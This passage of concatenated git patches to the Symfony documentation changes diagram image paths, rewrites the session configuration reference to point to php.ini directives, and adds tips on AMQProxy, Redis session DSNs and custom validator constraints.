+++ b/_images/sources/README.md
@@ -39,7 +39,7 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="/_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+    <object data="_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
         alt="<alt description>"
     ></object>
 ```
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 64fe0997ac5..9c8d01da8af 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
@@ -506,7 +506,7 @@ to the exception.
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
         alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
     ></object>
 
@@ -667,7 +667,7 @@ your controller).
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
         alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
     ></object>
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 3650f5a129e..f2b71f38a3d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,7 @@ Concepts
 
 .. raw:: html
 
-    <object data="/_images/components/messenger/overview.svg" type="image/svg+xml"
+    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
         alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
     ></object>
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c46498dd45..70101d5ab8b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,7 +8,7 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="/_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
     ></object>
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 504118c23c0..cc5e16f3f81 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -171,7 +171,7 @@ Images and Diagrams
 
     .. raw:: html
 
-        <object data="/_images/example-diagram.svg" type="image/svg+xml"
+        <object data="_images/example-diagram.svg" type="image/svg+xml"
             alt="Some concise description."
         ></object>
 
diff --git a/doctrine.rst b/doctrine.rst
index 67a1c192e9e..e5f4d0bdfc3 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -187,7 +187,7 @@ the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+    <object data="_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
         alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
     ></object>
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index c39e0e63c5c..1d5e55d5524 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -411,7 +411,7 @@ relationship for you:
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
         alt="Doctrine mapping associated Product and Category entities to a product and category database table"
     ></object>
 
@@ -461,7 +461,7 @@ you.
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
         alt="Doctrine only querying Category data when needed"
     ></object>
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 0590043a6d0..ccb90a04377 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,7 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="/_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
         alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
     ></object>
 
@@ -436,7 +436,7 @@ are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="/_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
         alt="The wireframe with some block names highlighted, these are also listed below the image."
     ></object>
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index f0e7cd390b1..56a08d71132 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -442,7 +442,7 @@ types of underlying data.
 
 .. raw:: html
 
-    <object data="/_images/form/data-transformer-types.svg" type="image/svg+xml"
+    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
         alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
     ></object>
 
diff --git a/form/events.rst b/form/events.rst
index c37d73b4e65..40b530b88f2 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -38,7 +38,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="/_images/form/form_workflow.svg" type="image/svg+xml"
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
         alt="A generic flow diagram showing the two phases. These are
         described in the next subsections."
     ></object>
@@ -48,7 +48,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="/_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the two events that are dispatched during pre-population."
     ></object>
 
@@ -123,7 +123,7 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="/_images/form/form_submission_workflow.svg" type="image/svg+xml"
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the three events that are dispatched when handling form submissions."
     ></object>
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 0263bfbe305..005e0eac461 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,7 +51,7 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="Wireframe showing all functions in a form row, which are mentioned directly below."
     ></object>
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 3798b04b855..5f462ce4bbb 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,7 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
     ></object>
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 06cadc4e7b0..7386f629546 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,7 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the previously described process from front controller to response."
     ></object>
 
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index da0600e5860..fceb6a4a13d 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -19,7 +19,7 @@ to communicate with each other. For example, when checking for the latest
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
     ></object>
 
@@ -43,7 +43,7 @@ browser and the xkcd web server:
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-request.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
         alt="A sequence diagram showing the request from browser to the xkcd server."
     ></object>
 
@@ -108,7 +108,7 @@ from the xkcd web server:
 
 .. raw:: html
 
-    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
     ></object>
 
@@ -355,7 +355,7 @@ to do:
 
 .. raw:: html
 
-    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
     ></object>
 
diff --git a/mercure.rst b/mercure.rst
index 18d8766ce2a..f53b49d6e3d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -69,7 +69,7 @@ Running a Mercure Hub
 
 .. raw:: html
 
-    <object data="/_images/mercure/hub.svg" type="image/svg+xml"
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
         alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
     ></object>
 
@@ -335,7 +335,7 @@ in a ``Link`` HTTP header.
 
 .. raw:: html
 
-    <object data="/_images/mercure/discovery.svg" type="image/svg+xml"
+    <object data="_images/mercure/discovery.svg" type="image/svg+xml"
         alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
     ></object>
 
diff --git a/security.rst b/security.rst
index 23253279f28..1299f2337b3 100644
--- a/security.rst
+++ b/security.rst
@@ -2603,7 +2603,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="/_images/security/security_events.svg" type="image/svg+xml"
+    <object data="_images/security/security_events.svg" type="image/svg+xml"
         alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
     ></object>
 

From 69ab80128328d0515239b2574da35d5336fcb46c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 08:19:16 +0200
Subject: [PATCH 5090/7107] Tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6bd1ced54e5..ba5a381121f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -616,8 +616,8 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
-You can also use :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to
-define value and use it as ``cid`` reference::
+You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
+method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
     $part->setContentId('footer-signature');

From e3550df51909f88d511f7548c68299cd45f47d88 Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Fri, 1 Sep 2023 15:47:02 +0300
Subject: [PATCH 5091/7107] Add information about timeout semantics for redis
 option `timeout`

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 58c0773ae12..d707624a7ed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1624,8 +1624,8 @@ persistent_id            String, if null connection is          null
 retry_interval           Int, value in milliseconds             ``0``
 read_timeout             Float, value in seconds                ``0``
                          default indicates unlimited
-timeout                  Float, value in seconds                ``0``
-                         default indicates unlimited
+timeout                  Connection timeout. Float, value in    ``0``
+                         seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================

From 6a123d8baaba0da5988f025e6e6ab7cfdf4d6981 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 09:57:23 +0200
Subject: [PATCH 5092/7107] Tweaks

---
 service_container/autowiring.rst | 2 +-
 service_container/tags.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 11a699e8a86..b1c6e85d265 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -584,7 +584,7 @@ attribute like this::
 
 .. note::
 
-    Some IDEs will show an error when using the ``#[Target]`` as in the previous example:
+    Some IDEs will show an error when using ``#[Target]`` as in the previous example:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that thanks to `PHP constructor promotion`_ this constructor
     argument is both a parameter and a class property. You can safely ignore this error message.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index e077be252df..e548040f4ed 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -719,7 +719,7 @@ directly via PHP attributes:
 
 .. note::
 
-    Some IDEs will show an error when using the ``#[TaggedIterator]`` together
+    Some IDEs will show an error when using ``#[TaggedIterator]`` together
     with the `PHP constructor promotion`_:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that those constructor arguments are both parameters and class

From 0bf83c35643ea0e145fa44d20245a5ff024ed176 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Mon, 20 Feb 2023 16:40:12 +0100
Subject: [PATCH 5093/7107] =?UTF-8?q?[FrameworkBundle]=20update=20`session?=
 =?UTF-8?q?`=20configuration=20nodes=E2=80=99=20documentation?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/framework.rst | 99 ++++++++++++++++-----------
 1 file changed, 59 insertions(+), 40 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 64a297d92b2..c520650f191 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1688,38 +1688,39 @@ and also to configure the session handler with a DSN:
 name
 ....
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string``
+
+This specifies the name of the session cookie.
 
-This specifies the name of the session cookie. By default, it will use the
-cookie name which is defined in the ``php.ini`` with the ``session.name``
-directive.
+If not set, ``php.ini``'s `session.name`_ directive will be relied on.
 
 cookie_lifetime
 ...............
 
-**type**: ``integer`` **default**: ``null``
+**type**: ``integer``
 
-This determines the lifetime of the session - in seconds. The default value
-- ``null`` - means that the ``session.cookie_lifetime`` value from ``php.ini``
-will be used. Setting this value to ``0`` means the cookie is valid for
+This determines the lifetime of the session - in seconds.
+Setting this value to ``0`` means the cookie is valid for
 the length of the browser session.
 
+If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
+
 cookie_path
 ...........
 
-**type**: ``string`` **default**: ``/``
+**type**: ``string``
+
+This determines the path to set in the session cookie.
 
-This determines the path to set in the session cookie. By default, it will
-use ``/``.
+If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
 
 cache_limiter
 .............
 
-**type**: ``string`` or ``int`` **default**: ``''``
+**type**: ``string`` **default**: ``0``
 
 If set to ``0``, Symfony won't set any particular header related to the cache
-and it will rely on the cache control method configured in the
-`session.cache-limiter`_ PHP.ini option.
+and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
 
 Unlike the other session options, ``cache_limiter`` is set as a regular
 :ref:`container parameter <configuration-parameters>`:
@@ -1756,19 +1757,22 @@ Unlike the other session options, ``cache_limiter`` is set as a regular
             'cache_limiter' => 0,
         ]);
 
+Be aware that if you configure it, you'll have to set other session-related options
+as parameters as well.
+
 cookie_domain
 .............
 
-**type**: ``string`` **default**: ``''``
+**type**: ``string``
+
+This determines the domain to set in the session cookie.
 
-This determines the domain to set in the session cookie. By default, it's
-blank, meaning the host name of the server which generated the cookie according
-to the cookie specification.
+If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
 
 cookie_samesite
 ...............
 
-**type**: ``string`` or ``null`` **default**: ``lax``
+**type**: ``string`` or ``null`` **default**: ``null``
 
 It controls the way cookies are sent when the HTTP request did not originate
 from the same domain that is associated with the cookies. Setting this option is
@@ -1782,8 +1786,7 @@ those cookies when making that HTTP request.
 
 The possible values for this option are:
 
-* ``null``, use it to disable this protection. Same behavior as in older Symfony
-  versions.
+* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
 * ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
@@ -1797,18 +1800,20 @@ The possible values for this option are:
 
 .. note::
 
-    This option is available starting from PHP 7.3, but Symfony has a polyfill
-    so you can use it with any older PHP version as well.
+    Same-site cookies are a PHP 7.3 feature, but Symfony has a polyfill
+    so you can set this option with any older PHP version as well.
 
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``'auto'`` **default**: ``auto``
+**type**: ``boolean`` or ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
 addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
+If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
+
 cookie_httponly
 ...............
 
@@ -1822,10 +1827,12 @@ identity theft through XSS attacks.
 gc_divisor
 ..........
 
-**type**: ``integer`` **default**: ``100``
+**type**: ``integer``
 
 See `gc_probability`_.
 
+If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
+
 gc_probability
 ..............
 
@@ -1839,45 +1846,46 @@ chance that the GC process will start on each request.
 gc_maxlifetime
 ..............
 
-**type**: ``integer`` **default**: ``1440``
+**type**: ``integer``
 
 This determines the number of seconds after which data will be seen as "garbage"
 and potentially cleaned up. Garbage collection may occur during session
 start and depends on `gc_divisor`_ and `gc_probability`_.
 
+If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
+
 sid_length
 ..........
 
-**type**: ``integer`` **default**: ``32``
+**type**: ``integer``
 
 This determines the length of session ID string, which can be an integer between
-``22`` and ``256`` (both inclusive), being ``32`` the recommended value. Longer
+``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
 session IDs are harder to guess.
 
-This option is related to the `session.sid_length PHP option`_.
+If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
 sid_bits_per_character
 ......................
 
-**type**: ``integer`` **default**: ``4``
+**type**: ``integer``
 
 This determines the number of bits in the encoded session ID character. The possible
 values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
 The more bits results in stronger session ID. ``5`` is recommended value for
 most environments.
 
-This option is related to the `session.sid_bits_per_character PHP option`_.
+If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
 save_path
 .........
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/sessions``
+**type**: ``string`` or ``null`` **default**: ``%kernel.cache_dir%/sessions``
 
 This determines the argument to be passed to the save handler. If you choose
 the default file handler, this is the path where the session files are created.
 
-You can also set this value to the ``save_path`` of your ``php.ini`` by
-setting the value to ``null``:
+If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
 .. configuration-block::
 
@@ -1972,11 +1980,12 @@ Whether to enable the session support in the framework.
 use_cookies
 ...........
 
-**type**: ``boolean`` **default**: ``null``
+**type**: ``boolean``
 
 This specifies if the session ID is stored on the client side using cookies or
-not. By default, it will use the value defined in the ``php.ini`` with the
-``session.use_cookies`` directive.
+not.
+
+If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
 
 ssi
 ~~~
@@ -3769,14 +3778,24 @@ use the configuration of the first exception that matches ``instanceof``:
 .. _`json_encode flags bitmask`: https://www.php.net/json_encode
 .. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
 .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
-.. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length
-.. _`session.sid_bits_per_character PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-bits-per-character
 .. _`X-Robots-Tag HTTP header`: https://developers.google.com/search/reference/robots_meta_tag
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`PEM formatted`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`haveibeenpwned.com`: https://haveibeenpwned.com/
-.. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
+.. _`session.name`: https://www.php.net/manual/en/session.configuration.php#ini.session.name
+.. _`session.cookie_lifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-lifetime
+.. _`session.cookie_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-path
+.. _`session.cache_limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
+.. _`session.cookie_domain`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-domain
+.. _`session.cookie_samesite`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-samesite
+.. _`session.cookie_secure`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-secure
+.. _`session.gc_divisor`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-divisor
+.. _`session.gc_maxlifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime
+.. _`session.sid_length`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length
+.. _`session.sid_bits_per_character`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character
+.. _`session.save_path`: https://www.php.net/manual/en/session.configuration.php#ini.session.save-path
+.. _`session.use_cookies`: https://www.php.net/manual/en/session.configuration.php#ini.session.use-cookies
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988

From 52d13384b5f1f027ebd22d7fc809787c92e312ee Mon Sep 17 00:00:00 2001
From: Robert <robert.kopera@verestro.com>
Date: Wed, 30 Aug 2023 12:59:11 +0200
Subject: [PATCH 5094/7107] Added amqproxy note

---
 messenger.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d707624a7ed..9cf5543f64d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1411,6 +1411,17 @@ your Envelope::
     of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it
     is stuck in a blocking call.
 
+.. caution::
+
+    In scenarios facing socket exceptions or "high connection churn"
+    (distinguished by the rapid creation and deletion of connections), the use of `AMQProxy`_ could be beneficial.
+    This tool functions as a gateway between Symfony Messenger and AMQP server,
+    assisting in maintaining stable connections and considerably minimizing overheads. Consequently,
+    AMQProxy not only heightens the dependability of your setup but also brings about
+    significant performance enhancements in PHP applications.
+
+    For a comprehensive understanding of this topic, kindly refer to the `RabbitMQ docs`_ as a reference.
+
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
@@ -2600,3 +2611,5 @@ Learn more
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
+.. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
+.. _`RabbitMQ docs`: https://www.rabbitmq.com/connections.html#high-connection-churn

From 2219fd2ad3f88b509e5e324a89d64e10edae9f5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 13:35:42 +0200
Subject: [PATCH 5095/7107] Reword

---
 messenger.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9cf5543f64d..e8efc676a3d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1411,16 +1411,13 @@ your Envelope::
     of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it
     is stuck in a blocking call.
 
-.. caution::
-
-    In scenarios facing socket exceptions or "high connection churn"
-    (distinguished by the rapid creation and deletion of connections), the use of `AMQProxy`_ could be beneficial.
-    This tool functions as a gateway between Symfony Messenger and AMQP server,
-    assisting in maintaining stable connections and considerably minimizing overheads. Consequently,
-    AMQProxy not only heightens the dependability of your setup but also brings about
-    significant performance enhancements in PHP applications.
+.. tip::
 
-    For a comprehensive understanding of this topic, kindly refer to the `RabbitMQ docs`_ as a reference.
+    If your application faces socket exceptions or `high connection churn`_
+    (shown by the rapid creation and deletion of connections), consider using
+    `AMQProxy`_. This tool works as a gateway between Symfony Messenger and AMQP server,
+    maintaining stable connections and minimizing overheads (which also improves
+    the overall performance).
 
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
@@ -2612,4 +2609,4 @@ Learn more
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
-.. _`RabbitMQ docs`: https://www.rabbitmq.com/connections.html#high-connection-churn
+.. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn

From 86abb5a5f63a9bedc80284edc5f24b082116784f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 15:18:54 +0200
Subject: [PATCH 5096/7107] Mention the Symfony packages that don't follow the
 components versioning

---
 setup/upgrade_major.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index d59006d53ec..8c5b5cab8a3 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -152,9 +152,10 @@ starting with ``symfony/`` to the new major version:
     +         "symfony/console": "6.0.*",
               "...": "...",
 
-              "...": "A few libraries starting with
-                      symfony/ follow their own versioning scheme. You
-                      do not need to update these versions: you can
+              "...": "A few libraries starting with symfony/ follow their own
+                      versioning scheme (e.g. symfony/polyfill-[...],
+                      symfony/ux-[...], symfony/[...]-bundle).
+                      You do not need to update these versions: you can
                       upgrade them independently whenever you want",
               "symfony/monolog-bundle": "^3.5",
           },

From 824e28dbf945bf377fb0ba2236081e6f6c901c43 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 15:53:54 +0200
Subject: [PATCH 5097/7107] [HttpFoundation] Allow setting session options via
 DSN

---
 session.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/session.rst b/session.rst
index 9327d75619e..4a9015f919f 100644
--- a/session.rst
+++ b/session.rst
@@ -667,6 +667,17 @@ and only the first one stored the CSRF token in the session.
     replace ``RedisSessionHandler`` by
     :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
+.. tip::
+
+    When using Redis with a DSN in the
+    :ref:`handler_id <config-framework-session-handler-id>` config option, the
+    latter can contain the ``prefix`` and ``ttl`` options as query string parameters.
+
+    .. versionadded:: 5.4
+
+        The support for ``prefix`` and ``ttl`` options in a Redis DSN was
+        introduced in Symfony 5.4.
+
 .. _session-database-pdo:
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)

From 3f8c7fc04e3dc0fd38797a62f32ae0c27012f6c2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Thu, 5 Aug 2021 13:02:30 +0200
Subject: [PATCH 5098/7107] Describe how to create a custom constraint with
 options

---
 validation/custom_constraint.rst | 224 +++++++++++++++++++++++++++++++
 1 file changed, 224 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9200e0d9dec..424e4e41acb 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -233,6 +233,230 @@ then your validator is already registered as a service and :doc:`tagged </servic
 with the necessary ``validator.constraint_validator``. This means you can
 :ref:`inject services or configuration <services-constructor-injection>` like any other service.
 
+Constraint Validators with custom options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Define public properties on the constraint class for the desired configuration
+options:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Validator/Foo.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class Foo extends Constraint
+        {
+            public $mandatoryFooOption;
+            public $message = 'This value is invalid';
+            public $optionalBarOption = false;
+
+            public function __construct(
+                $mandatoryFooOption,
